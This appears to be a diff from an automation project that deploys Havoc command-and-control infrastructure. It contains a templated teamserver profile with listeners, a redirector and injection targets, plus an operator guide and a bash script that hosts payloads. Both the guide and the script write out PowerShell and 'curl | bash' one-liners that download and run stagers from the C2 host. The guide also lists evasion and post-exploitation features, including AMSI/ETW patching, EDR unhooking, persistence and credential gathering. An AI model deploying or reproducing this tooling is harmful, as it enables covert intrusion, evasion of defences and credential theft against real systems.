Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "{{ havoc_admin_user | default('admin') }}" {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
user "{{ operator.name }}" {
Password = "{{ operator.password }}"
}
{% endfor %}
{% endif %}
}
Listeners {
Http {
Name = "https"
Hosts = [
"{{ redirector_subdomain }}.{{ domain }}"
]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = {{ havoc_https_port | default(9443) }}
PortConn = {{ havoc_https_port | default(9443) }}
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = [
"Accept: */*",
"Accept-Language: en-US,en;q=0.9"
]
Uris = [
"/api/v2",
"/content",
"/static/css",
"/wp-content/plugins"
]
Response {
Headers = [
"Content-Type: application/json",
"Cache-Control: no-store, private",
"X-Content-Type-Options: nosniff"
]
}
Secure = true
Cert {
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
}
}
}
Demon {
Sleep = {{ havoc_sleep | default(5) }}
Jitter = {{ havoc_jitter | default(30) }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
{% endif %}
}
}
+112
View File
@@ -0,0 +1,112 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/Havoc/data/profiles/
TROUBLESHOOTING
--------------
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
@@ -0,0 +1,135 @@
#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
# Use templated variable with fallback - allow override from config
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"